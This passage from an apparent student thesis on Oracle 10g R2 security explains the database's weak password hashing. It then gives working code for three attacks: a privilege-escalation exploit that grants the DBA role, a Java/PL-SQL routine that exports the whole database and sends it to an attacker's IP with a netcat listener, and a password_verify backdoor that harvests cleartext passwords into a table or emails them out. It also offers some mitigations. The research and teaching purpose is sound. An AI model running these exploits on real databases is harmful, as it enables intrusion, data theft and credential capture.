a good mechanism that avoids high privileged users from seeing the clear text passwords even
though they have a complete access to any one’s data e.g. ‘SYS’. This also is a good move in that in
that it avoids attackers from logging in randomly into any account by SQL Injection. Suppose a
single quote is inserted into the input to perform a SQL Injection log in; Oracle calculates the single
quote as part of the password hash thus giving a very wrong hash. This eliminates the possibilities
of SQL Injection. This is an impressive technique that Oracle is using. A latter found a flaw in the
authentication method performed by Oracle. This is discussed in the last following sections.
4.5.3 Ignorance to case sensitivity I found out that Oracle does not preserve the case of the supplied password. A password in lower,
upper and mixed case is treated the same as shown below in the snapshot. One may wonder how
this is possible. Basically, Oracle concatenates the username and password and changes the case to
upper before calculating the password hash. In Figure 437.A user jack is created and his password
is varied by changing the case but a discovery is made that Oracle does not take note of the changes
in the case of the password (whether upper or lower case).
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 57
Figure 437: Oracle ignores case sensitivity
From the subsections of the Section 4.4 that have been discussed above it is quite evident that the
claim laid upon Oracle is true: i) concatenates the username and the password into a string that is to
be hashed ii) Oracle then changes everything to uppercase. This is an easy way for an attacker to
figure out the hashing algorithm. The Figure 437 above shows how weak the Oracle’s password
hashing algorithm is. It perceives both uppercase and lower case to be the same by changing
everything to uppercase. Oracle disregards the use of different cases as a security measure which
affects the individuals who feel secure by using different cases for their passwords. Moreover, this
reduces the number of possible passwords from 62 raised to the power of n to 36 raised to the
power of n where n is the password length and the figures stated are the total number of characters
offered to make a password. This makes it much easier for tools designed to unhash Oracle’s
password hashes by reducing the total time taken to extract a clear text password since the overall
case of the string is predictable.
4.5.4 The hashing function Scholars and attackers have finally figured the whole of the Oracle’s hashing algorithm and from
time to time it has been presented simpler that before. This was revealed by two researchers, Joshua
Wright (from SANS Institute) and Carlos Cid (from Information Security Group Royal Holloway,
university of London) in a paper they wrote called “An Assessment of the Oracle password hashing
Algorithm”
The hashing function is as follows:
a) Concatenate the username and the password to produce a plaintext string,
b) Convert all characters within the string to uppercase,
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 58
c) Convert the characters of the string into multibyte storage format, in other words after
obtaining the ASCII values, set their high bytes set to 0x00 e.g. let the value 49( hex) be
0x0049.
d) Encrypt the plain text string using the DES algorithm in Cipher Block Chaining (CBC)
mode with a fixed key value of 0x0123346789ABCDEF, (pad with 0s if necessary to the
next even byte block length).
e) Encrypt the plaintext string again with DESCBC, but using the last block of the output of
the previous step (ignoring parity bits) as the encryption key. The last block of the out put is
converted into a printable string to produce the password hash value.
This allows attacker to write their own code to obtain clear text passwords from the Oracle hashes
because the algorithm has been so much simplified that even a newbie developer can turn this into a
useful program.
4.5.5 Emulating the Oracle password hasher The downloadable tool called Orabf.exe comes with a tool called OracleHash.exe that emulates the
hashing performed by Oracle. To try it out, I entered my password ‘KELETSO’ for the username
‘SYS’ on the command line and then ran the tool. Basically, the tool takes in [name] [password]
and then hashes it. I got an output that is a complete replica of the actual password hash for ‘SYS’
in the Oracle database. This is shown by the result that I got is D28AC4BA64CB0F88. I compared
it to the hash that I got for my user name ‘SYS’ and password ‘KELETSO’ and amazing!!! It was a
replica.
Figure 438: The Oracle password hash from Oraclehash.exe
The actual password hash obtained from the SYS.DBA_USERS table is shown below in Figure 4
39. Notice how similar these two are.
Figure 439: The password hash for ‘SYS’ from Oracle
4.5.6 Securing from password crackers and strengthening the hashing algorithm One thing Oracle can do is to have a mechanism that enforces that users use long passwords. This
has the advantage of taking a very, very long time if at all it’s cracked. This has somehow been
provided by Oracle so that passwords are validated and verified before use. There is a procedure
called password_verify_function that is used for this but the problem is that it poses a threat to the
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 59
user password as well. This is illustrated in the coming sections of the Thesis under the topic,
“Harvesting user password through the password verify function” Oracle should also change the
salt they use to hash password, the one they are using now is very simple to be used to stored
people’s passwords safe. The best way is too complicate it a bit more than it already is. The most
important issue to be considered by Oracle is to change hashed password generation. The one being
used now is now public and people are developing tools to crack it down which is a sound call for a
new one. Its high time Oracle considers Case Sensitivity; the database has to differentiate between
lower, upper and mixed cases. This increases the sample space from which to make passwords. As
specified above, suppose a user wants to make a password of length n and case is considered then
the user has a 62^n ( the power of) possible passwords as compared to using one case which
presents a space of 36^n possible passwords. This in turn provides a wider defence mechanism
against password crackers by giving then a wider range to search.
Oracle seems to be in a habit of keeping user password in many tables. Access to these tables
should be restricted. It is still an issue on debate whether Database Administrators (DBAs) should
be given views of everyone’s password or not. The other factor to consider is auditing all user
access to these tables that contain the passwords. These will tell if there is any malicious activity
happening against the password hashes.
4.6 USING PACKAGES TO HACK
4.6.1 A summary about packages A package is a schema object that groups logically related PL/SQL procedure, variables, functions,
constants and exceptions altogether. Packages have many advantages over standalone procedures
and functions. They let the user organise application development more efficiently, let the user
grant privileges more efficiently, let you modify package objects without recompiling dependent
schema objects and also allows Oracle to read multiple package objects into memory at once. They
also allow the user to overload procedure and functions meaning that all these may have the same
name but take in different parameters.
Packages usually have two parts, a specification (spec) and a body; sometimes the body is
unnecessary. The specification is the interface to the package. It declares the types, variables,
constants, exceptions, cursors, and subprograms that can be referenced from outside the package.
The body defines the queries for the cursors and the code for the subprograms.
The general format of a package is shown below; CREATE PACKAGE name AS specification (visible part)
Public type and item declarations Subprogram specifications
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 60
END [name]; CREATE PACKAGE BODY name AS body (hidden part)
Private type and item declarations Subprogram bodies
[BEGIN initialization statements]
END [name]; Listings 419: The general structure of a package
Basically, packages allow for the gathering of types and subprograms in a named PL/SQL module.
They also allow for easier information hiding since the user can declare both public and private
subprograms. Public objects are declared in the package specification and defined in the package
body but private objects are only declared in the package body. Public objects can be use within and
outside the package; they may be referenced out side the package. Private objects are not visible to
applications outside the package and furthermore they can not be used outside the package as well.
Oracle stores the package specification separately from the package body. This allows changes to
be made to the package body without incurring changes in or invalidating the package calling
applications. Invalidation of dependent object schemas only occurs when the change are made in
the package specification. The package can hide the implementation of the private subprograms so
that in case of any changes only the subprogram is affected. This also provides integrity for the
package and makes maintenance of the package easier. The cursors and public variables declared in
the spec can be used by all the subprograms in the package and this gives an ability of maintaining
data across transactions without storing it in the database. When a packaged subprogram is used the
first time, the whole package is loaded into memory. When subprograms in the package are
required for implementation they are not reloaded again but are easily and readily usable thus
saving on disk I/O.
Packages stop cascading dependencies and avoid unnecessary recompiling. For example, if you
change the body of a packaged function, Oracle does not recompile other subprograms that call the
function; these subprograms only depend on the parameters and return value that are declared in the
spec, so they are only recompiled if the spec changes.
4.6.2 The flaw This good functionality offered by packages can be misused by hackers to hack into a database by
giving an attacker the DBA Role. Consider the bad procedure below which was used by a hacker to
gain DBA role. In my case the attacker is Scott. Before executing the security flaw, let’s check for
the roles that have been offered to Scott. The command is ‘SELECT * FROM USER_ROLE_PRIVS’
and the output is as shown below in Figure 440.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 61
Figure 440: These are the privileges granted to user Scott
The Spec of the package is shown below. These are the variables that are common to all
subprograms in the package. They can be declared as private or public. CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo, p3
VARCHAR2, p3 VARCHAR2, env SYS.odcienv)
RETURN NUMBER;
END;
/
Listings 420: The spec of the package MYBadPackage
Basically, the package spec declares a function called ODCIIndexGetMetadata which takes in the
arguments oindexinfo which is type SYS.odciindexindexinfo, as well as P3, and P3 which are
varchar2, and an argument env of type SYS.odcienv. It returns a number. All these variables declare
in the spec can be used by the subprograms in the package. The body is as shown below in Listings
421: CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo, p3
VARCHAR2, p3 VARCHAR2, env SYS.odcienv)
RETURN NUMBER
IS
Pragma Autonomous_Transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN (1);
END;
END; /
Listings 421: The body of the package MyBadPackage
The package body is similar to the spec; note the function is declared in the spec and then its body
is written in full in the package body. The function contains a Pragma Autonomous_Transaction
that immediately grants the DBA role to the attacking user Scott and this particular change is
finalised by the commit command.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 62
DECLARE
INDEX_NAME VARCHAR2 (200);
INDEX_SCHEMA VARCHAR2 (200);
TYPE_NAME VARCHAR2 (200);
TYPE_SCHEMA VARCHAR2 (200);
VERSION VARCHAR2 (200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2 (200);
BEGIN
INDEX_NAME:= 'A1'; INDEX_SCHEMA:= 'SCOTT';
TYPE_NAME:= 'MYBADPACKAGE'; TYPE_SCHEMA:= 'SCOTT';
VERSION: = '10.2.0.1.0'; GMFLAGS: = 1;
v_Return:= SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA (
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END; /
Listings 422: Executing the package
The code gives Scott the DBA role without him setting it up. The function created above executes
as SYS thus granting Scott the DBA role. After obtaining the role, Scott can now access any table in
the database for e.g. the v$instance which gives all information about the current database instance.
The snapshot below shows the resulting table after running the command: ‘SELECT * FROM USER_ROLE_PRIVS’
Figure 441: The snapshot shows the new privileges granted to Scott
The attacker can now use his newly gained privileges to view data he had been restricted from. For
example he is now able to view the v$instance table that shows him all the properties of the
database as shown below in Figure 442. The command run is ‘SELECT * FROM V$INSTANCE’.
Figure 442: A view of the v$instace table
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 63
The flaw above was graded under milworm.com as a zeroday flaw (a flaw that is performed as
soon as a vulnerability is discovered but before a patch has been issued out) on the 26 th of April of
2006 and was also highlighted by Alexandra Kornbrust from the Red Database Security. It used to
affect Oracle version 9i, 10g R1 and 10g R2 Express Edition, but of late the claim is that a patch for
9i was released on Oracle’s quarterly patch release on the 24 th of July of 2006. But in the case of
10g, the flaw was found on the Express Edition and there is no patch for it by then as shown below
in Figure 443.
Figure 443: Incomplete patch set for the flaw from Oracle
Note that this flaw has also succeeded in 10g R2 Enterprise Edition; no patch is available for it as
well.
4.6.3 Prevention The work around to this problem is to revoke the package SYS.DBMS_EXPORT_EXTENSION
from the public, the query is “REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC
FORCE” as shown on Figure 444 below. But this is not good enough since an attacker can perform
a SQL Injection attack to grant himself execute privileges on the above mentioned package.
Figure 444: Revoking execute on package
Another problem with this kind of work around is that once the DBMS_EXPORT_EXTENSION
package is revoked from public then an essential functionality is revoked as well. For example this
will cause a disability of the user backing up their data. Basically the packages in Oracle are
interconnected such that deactivating one will, render the other unusable.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 64
4.7 STEALING THE WHOLE DATABASE USING PL/SQL
4.7.1 The flaw This is a method that was demonstrated by Cesar Cerrudo and Esteban Martinez Fayo from
Argeniss Information Security at the Red Hat presentations this year (2007). The method steals the
whole database from the server and sends it over the Internet to the hacker’s machine. The first
move is that the attacker has to gain access to the DBA role on the database. This can easily be done
by using SQL injection and the various methods that have been illustrated in the Sections above.
Basically, the attacker sends code to the database that wraps up the whole database in a single file
and then zips it up. This is then sent to the attacker’s machine over the Internet. The examples given
below consist of two scripts of code that need to be deployed to the server. I used the windows
version of the exploits for these demonstrations but there is also a *nix version as well.
The attacker has to send the first script called ‘export_and_zip.sql’, this basically creates a .dmp
file called export which contains the whole database (in my case the size of the file is 79.938 KB)
which is then converted into a zipped file called export.zip.
The code used is discussed below in Listings 423:
The first code snippet to be uploaded creates a file called parfile.txt in java and writes to it using the
File Writer. Basically, java code is embedded into SQL and then the java code creates a file called
parfile.txt which is written to by the File Writer. See full code in Appendix 5 on page 114. Below is
a snippet of the code in Appendix 5. The procedure SRC_EXECUTEOS ……………………
File fileOut = new File (parfile);
create a file writer fw used to write some output to the created file.
FileWriter fw = new FileWriter (fileOut);
fw.write("full=y\n");
fw.write("userid=\"/ as sysdba\"\n");
the real value of export is an argument, in my case C:\export.dmp
fw.write("file=" + export + "\n");
fw.close();
………………………
Listings 423: Creating the file called parfile.txt
The code below (Listings 424) is part of the code shown in Listings 423 above and the whole code
is shown in Appendix 5. The code generally takes in a command say a directory path to a file and
then executes it as an Operating System Command. This uses the command prompt in java, if
suppose the path to an excel file is C:/oke.xls then to open the document we will have to specify the
value of cmd below as “cmd.exe /C C:/oke.xls”
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 65
public static void execOSCmd (String cmd) throws IOException,
java.lang.InterruptedException
The java function executes as an Operating System command the string cmd
passed as a parameter
Process p = Runtime.getRuntime().exec(cmd);
this causes the current thread executing to wait until the Process p finishes
execution
p.waitFor();
;
Listings 424: Execution of Operating System Commands
The procedure below allows anyone to run Operating System Command in the database Server. The
procedure takes in a varchar2 command and passes it on to the function execOSCmd which is in
turn executed as an Operating System command. The PL/SQL code below acts as a specification to
the java code already declared above. It acts as an interface of communication between the PL/SQL
procedure and the java code. load this soon after successfully executing the above command, this is a
procedure that also embeds java in itself, it takes in a java string
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
ExecuteOS is the name of the class that contains the method execOSCmd
NAME 'ExecuteOS.execOSCmd (java.lang.String)';
Listings 425: The procedure defined makes use of the java function execoSCmd()
The procedure below makes use of the first procedure to be defined, SRC_EXECUTEOS. It takes
in two arguments, both varchar2 and passes them onto the method createParfile from the java class
ExecuteOS defined in Listings 423. The procedure also acts as an interface between java and
PL/SQL. this is the procedure that creates the two files named below as arguments
CREATE OR REPLACE PROCEDURE "PROC_CREATEPARFILE" (p_parfile varchar2, p_export
varchar2)
AS LANGUAGE JAVA
NAME 'ExecuteOS.createParfile (java.lang.String, java.lang.String)';
Listings 426: The procedure defined makes use of the createParfile procedure
Now, the code below is used to carry out the already laid down exploit. This can also be done for
*nix as well as for Windows machines. It uses the procedures that have been described above. This code is used to execute the procedures created above that make use of
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 66
java
BEGIN
PROC_CREATEPARFILE ('C: \parfile.txt', 'c: \export.dmp');
this is the culprit command that is use to export the database using the
exp Utility
PROC_EXECUTEOS ('exp parfile=C: \parfile.txt');
used to zip up the exported file as shown below using the zip Utility
PROC_EXECUTEOS ('zip c:\export.zip c: \export.dmp');
END;
Listings 427: This procedure makes use of the procedure defined above
After running the code given above its now time to run the second half of the flaw that takes the
compressed exported file and sends it over TCP to the host machine of the attacker. The file is
exported as a zipped file and the hacker might also encrypt the traffic if he so wishes so that his
dubious transactions can not be detected. The scary part is that the exported file contains the whole
database; this only shows how bad hackers can be.
This code shown below uses the functionality rendered by java in Oracle to open a communication
port between the server and the client. In this case a port is opened to pass the file through. Once
this port has been established then the database file can now be transported.
The code is shown below: CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED “SRC_FILESEND” AS
libraries from java to be used
import java.lang.*;
import java.io.*;
import java.net.*;
public class FileSend
This java function uses the network functionality in java to send a local file
–over a TCP/IP connection to a remote site
public static void fileSend(String myFile, String host, int port) throws
Exception
int length;
byte buffer[] = new byte[2038];
File binaryFile = new File (myFile);
FileInputStream inpStream = new FileInputStream(myFile);
create a socket that shall bind the port for communication
Socket sock = new Socket (host, port);
DataOutputStream dos = new DataOutputStream( sock.getOutputStream());
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 67
DataInputStream dis = new DataInputStream( sock.getInputStream());
while ((length = inpStream.read(buffer)) != 1)
dos.write(buffer, 0, length);
making sure that the data has been sent through the channel
dos.flush();
sock.close();
inpStream.close();
;
Listings 428: Creates a Socket that bind a socket for communication
The procedure below calls the FileSend java class. First of all the method is created in java and for
it to be used in the database, a procedure that calls the method has to me made which looks like the
one below, this is the method specification. Notice, it takes in a file name, host name and a valid
port number and passes it to the java method. this is the SQL procedure command that calls the file send method
CREATE OR REPLACE PROCEDURE "PROC_FILESEND" (myFile varchar2, Hostname2
varchar2, Port PLS_INTEGER)
AS LANGUAGE JAVA
the method fileSend in the class FileSend declared above
NAME 'FileSend.fileSend (java.lang.String, java.lang.String, int)';
Listings 429: Creates a procedure that calls the FileSend class
The code below in Listings 430 is used to execute the PL/SQL procedure Proc_FileSend. The file
to be sent across is called export.zip in the C: drive of the Server and it is to be sent to the machine
With IP address 136.231.123.81 and the port number is 3420. execute the file send procedure
Windows
BEGIN
PROC_FILESEND ('c:\export.zip', '136.231.123.81', 3420);
END;
Listings 430: This is how the procedure is to be executed
Alternatively the procedure can be run as shown below. ‘EXEC PROC_FILESEND (‘C: \EXPORT.ZIP’, ‘136.231.121.81’, 3420);’
To receive the compressed file with all the database contents, the attacker can use the netcat utility
to redirect what is received in a TCP port to a file as shown below:
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 68
‘nc –p 3420 –l >oracledb.zip’
The snapshot below shows the files in the folder after a successful transfer, note the zipped file
named oracle which was then unzipped to get the file named export which is a Crash Dump File
(dmp file).
Figure 445: The snapshot of a successful database theft
Just to put some emphasis on some of the concepts I came across when performing this attack. I had
used Wireshark to check the ports the two machines were using to communicate. I found out that
the server (136.231.121.83) was using port 4460 while my client (136.231.123.81) was using port
3420, so I ran the export code and got an error that the connection had been refused. I ran the
command “netstat –a” to check which ports are opened but amazingly the port 3420 was not
listed down. I also ran the command “netstat –an | findstr: 3420”, I ran the same command
for port 3430 as well which does not exist and expectedly I got the same results. The netstat
command returns nothing if the port specified is not listening to anything. The results from running
the commands are shown below in Figure 446. Notice that the first command run does not return
anything. The complete version is found in Appendix 6 on page 115.
Figure 446: The snapshot of results obtained from running netstat commands
Amazingly, there was no report back to me confirming that the port 3420 was indeed listening for
communication from the Server. This signifies that the port was closed. Basically there was no
problem with the sending code because the zipped file was sent through but did not have a port to
receive it. Therefore I had to run the command shown below as specified by the writer of the code: nc –p 3420 –l > oracledb.zip
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 69
This command binds the particular port to the socket sock declared in the sending code and this
allows the sending procedure to be executed successfully. A snapshot of my use of this command is
shown below in Figure 447. A complete snapshot can be obtained from Appendix 7 on page 116.
Figure 447: Binding the port number 3420 to the Socket
I also used the tool called md4sum to check for data integrity, to make sure that the transmitted
zipped file is still the same as before transmission. Note the key ‘d9d34731…’ which was exactly
the same as the one I obtained when I ran this tool on the server. This is shown in Figure 448
below. See also Appendix 7 for a more detailed snapshot.
Figure 448: Running md4sum to check for data integrity
I also had another hustle that kept me off track for some time. When I tried running the code on
Listings 430 I got an error that claimed that I had no File permissions to use java in PL/SQL to
create files using OS commands. So I needed to grant myself these permissions since I had the DBA
role. The commands used are shown below in Listings 431. This gives me rights to read from,
write to, execute on and delete the file. At times it is required that instead of naming a particular file; we use <<All
Files>>
Begin
dbms_java.grant_permission ('CSESS','SYS:
java.io.FilePermission’,'C:\parfile.txt','read, write, execute, delete’);
End; /
Listings 431: Granting myself rights to create files using OS commands
But for me to execute this command I needed to be granted a SYS role called JAVASYSPRIV
which has the rights to read, write, execute or delete any file. Another alternative was to grant
myself JAVA_ADMIN role which will allow me to grant my own file permissions via the
DBMS_JAVA package as this role has the rights to grant this privilege. Both these roles are not
safe to be used by users, consider the second one for example, it gives the user all the privileges he
needs to give himself privileges to any file in the database, in essence this means that the user has
got access to any file in the database and this is very harmful. To explain the concept above please
read the comment made by Pete Fennigan below:
“The Java security is separate from normal database privileges and roles. The privileges are stored
in the Java policy table and to be able to grant a Java privilege you need to have privileges to alter
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 70
the policy table. This is granted through the dbms_java package with the grant_policy_permission
procedure. We can allow the user the privilege to grant java.io.FilePermission to any other user
including him self (which is very dangerous).”
To alter the java policy table and to give user HR the privileges consider the command issued
below: Call dbms_java.grant_policy_permission
('HR','SYS','java.io.FilePermission','*');
This can be achieved by SQL injection as well as by possessing the DBA role as in my case. At
times the roles JAVASYSPRIV, JAVA_ADMIN are incorporated into the DBA role by database
administrators and this becomes easy for a hacker who wishes to execute the privileges shown
above as it reduces the amount of code to be written as well risks in being noticed while trying to
execute flaws.
The claim that indeed the export. zip file contains the database was verified. It contains all objects
contained in all schemas, as well as all the contents of all policies that have been declared in the
database. Above all it contains all the tables that have been made in the table but in metadata form.
It’s easier if the attacker has an Oracle database running as well, he can simply import the file
Oracle.dmp using the imp Utility and this gives him the exact replica of the data. Below is a potion
of the screenshot of my password_verify function which I use to validate user passwords in the
database. U full view of the Figure 449 is available in Appendix 10 on page 119.
Figure 449: A snapshot from the export. Zip
The snapshot below in Figure 450 shows the hashed passwords from the database. A full snapshot
is found in Appendix 9 on page 118.
Figure 450: A snapshot from the export. Zip showing password hashes
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 71
To illustrate this claim I loaded the export.dmp file back to the Server. User Scott contains a table
called hack, now my task is to move this back into the database from the metadata in export.dmp
but into a different schema instead. This is shown in the Figure 451 below.
Figure 451: Table Hack imported into Csess’s schema from Scott’s schema
The complete command is: >imp Csess/Keletso File = C:/export/export/export.dmp FromUser = Scott ToUser =
Csess Tables = (Hack)
To prove this the table “Hack” is now also contained in the schema of Csess as shown below in
Figure 452.
Figure 452: Indeed the table is now in Csess’s schema
The command to export the whole database from Oracle is as shown below: >exp csess/keletso File = C: / keletso/csess/csess.dmp Full = y
In order for a user to perform this, a user has to have the DBA privilege specifically the
Exp_Full_Database as well as an execute privilege on the DBMS_EXECUTE_EXTENSION
package.
4.7.2 Protecting Against Database Theft To protect against Oracle flaws, the database administrator has to keep updated with all the released
patches to update their databases. And as a word of advice, these patches have to be tested on
dummy databases rather than the real databases because; some of the patches open up holes in the
database instead of patching them up.
The database administrator also has to enable firewalls and block all connections form entrusted
hosts. Unused ports must also be blocked so that attackers do not get to use them maliciously.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 72
My advice to Oracle is to revoke the execute privilege on DBMS_EXPORT_EXTENSION from
the public. If this is revoked users will not be able to export and import the database. But this comes
at a cost of denying users the privilege of backing up their database. The command is as shown: “REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC FORCE”
Consider the Figure 453 shown below, it shows that if the above mention privileged is revoked
then we get an error from Oracle.
Figure 453: An unsuccessful export
4.8 GETTING CLEAR TEXT PASSWORDS USING THE PASSWORD_VERIFY FUNCTION
4.8.1 Getting clear text Passwords by privileged user Oracle provides a default function stored as utlpwdmd.sql in $Oracle_home. In my database the file
location is: ‘C: \oracle\product\10.2.0\db_1\RDBMS\ADMIN\utlpwdmg.sql’
Basically this function allows the DBA to verify that all the passwords created on the database are
strong and up to Oracle standards to avoid easy access by a hacker. This function is not set by
default therefore it is the DBA’s responsibility to set it up. The function makes sure that the
password has got a digit, a special character and that the password is not the same as the user name
or a previously used password. The DBA can also edit it to include all the various characters that he
thinks necessary to obtain a strong password to avoid dictionary attacks as well as easily unhashed
passwords. On the other hand, as much as this function is very useful to strengthen the database
security against attackers, it can be used as a dangerous device against an innocent user. It can allow
SQL code to be inserted into it that harvests user passwords in clear text. Oracle claims that the
DBA can have no access to clear text passwords in the database which is true assuming that our
DBAs are trustworthy as well. It implements various techniques that present hashed passwords
instead of clear text if queried at any time for a password. The statistics claim that about 80 % of
database attacks are from within. This means that this flaw which I am going illustrate below is
easily executable. If a user gets access into the SYS account and inserts the ‘evil code’ into the
password_verify function then passwords can be harvested any time a password is changed. A user
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 73
can be prompted to change his password by running an expiry command against him, ‘PASSWORD
EXPIRED’. An example of this command is shown below: ALTER USER SCOTT PASSWORD EXPIRE; Force user to choose a new password
This will force the user to change the password and once this is done the new password is
transferred to a table that has been created to receive these clear text passwords. The code is shown
below in Listings 432. A complete copy of the code is accessible from Appendix 8 on page
117(this is the password_verify function used to validate passwords: ……………………………………………………………………………………………………………
This is the procedure that sends password to a table called Hack
Procedure pwdhack (username_in varchar2, value_in varchar2)
Is pragma autonomous_transaction;
Begin
Insert into Scott. Hack (id.username, value) values (hacseq.nextval,
username_in, value_in);
Commit;
End;
BEGIN
Character searched for in the password.
Digitarray: = '0123346789';
Chararray: = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
Punctarray: ='!"#$%&()''*+,/:;<=>?_';
The procedure is called and it send password to the table created.
Pwdhack (username,’ NEW PASSWORD: ‘||password);
…………………………………………………………………………………
Listings 432: A procedure is created in the function that harvests passwords
4.8.2 Create the user for the profile The correct command to create a user for this new profile is as shown below. CREATE USER KZA IDENTIFIED BY "OKE87*"
PROFILE PWDHACK
DEFAULT TABLESPACE USERS
TEMPORARY TABLESPACE TEMP
/
GRANT CREATE SESSION TO HACKME;
Listings 433: Creating a user in a profile
The section below shows how the flaw was carried by using a user called ‘Testie’
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 74
4.8.3 Carrying out the flaw I created a new profile called pwdhack for experimental purposes and created a user in the same
profile. I activated the password_verify function on the created profile as shown below. Create profile pwdhack limit password_life_time unlimited;
Alter profile pwdhack limit password_verify_function verify_function;
I logged in as Scott and created a table called hack. This is the table used to hold the password hash.
The table takes in an id, a username and the value of the changed password. I then created a
sequence that adds subsequence integers to the table, considered to be the id, the counting starts
from 1 till 99999999.
The command used is;
Create sequence hackseq;
I used this sequence for the passwords table. The created user is TESTIE and his password was
KELETSO23*, to change his password, the command used is “Alter user” as well as the
“Password” command as shown below: PASSWORD;
OLD PASSWORD:
NEW PASSWORD:
CONFIRM NEW PASSWORD:
Both passwords are sent to the table hack in the schema Scott as shown below.
I ran the SQL command ‘SELECT * FROM HACK’ to find out if the flaw was successful, the
contents if the table are shown below in Figure 454.
Figure 454: Output from the Hack table
In place of sending the results to a table, the output can be sent to the attacker using an email; this
uses the UTL_SMTP package in PL/SQL or the Java Stored Procedures. Below is the same flaw
carried out but instead of inserting values into a table, the hacker manages to send the username and
the password to his email using the Oracle functionality UTL_SMTP which imitates the function of
the SMTP protocol. The UTL_SMTP is underlain by the package called UTL_TCP package which
mimics the external TCP/IP. The relationship between the two packages is similar to that of the two
protocols in that one provides an interface for the other.
The Listings 434 below shows the procedure created that send email to the hacker which contains
the credentials.
AN INVESTIGATION INTO THE SECURITY FEATURES OF ORACLE 10G R2 ENTERPRISE EDITION
RESEARCHER: OKELITSI NYATHI, COMPUTER SCIENCE DEPT 75
CREATE OR REPLACE PROCEDURE SEND_EMAIL (USER_NAME VARCHAR2, USER_PSWD VARCHAR2)
IS
PRAGMA AUTONOMOUS_TRANSACTION;
V_CONN UTL_SMTP.CONNECTION;
BEGIN
V_CONN := UTL_SMTP.OPEN_CONNECTION('MAIL.RU.AC.ZA',24);
UTL_SMTP.HELO(V_CONN,'MAIL.RU.AC.ZA');
UTL_SMTP.MAIL(V_CONN,'G07N2918@CAMPUS.RU.AC.ZA');
UTL_SMTP.RCPT(V_CONN,'OOKEDITSE@GMAIL.COM');
UTL_SMTP.DATA(V_CONN, USER_NAME || USER_PSWD);
UTL_SMTP.QUIT(V_CONN);
COMMIT;
END; /
Listings 434: The procedure that sends the email
The procedure is then called in the verify_function instead of inserting credentials into a table. The
Listings 435 below shows how this is accomplished using the verify_function. …………………………………………………………………………………………………………… THIS IS THE PROCEDURE THAT SENDS THE OBTAINED CREDENTIALS BY EMAIL
PROCEDURE PWDHACK (USERNAME_IN VARCHAR2, VALUE_IN VARCHAR2)
IS PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
SCOTT.SEMD_EMAIL(USERNAME_IN, VALUE_IN);
COMMIT;
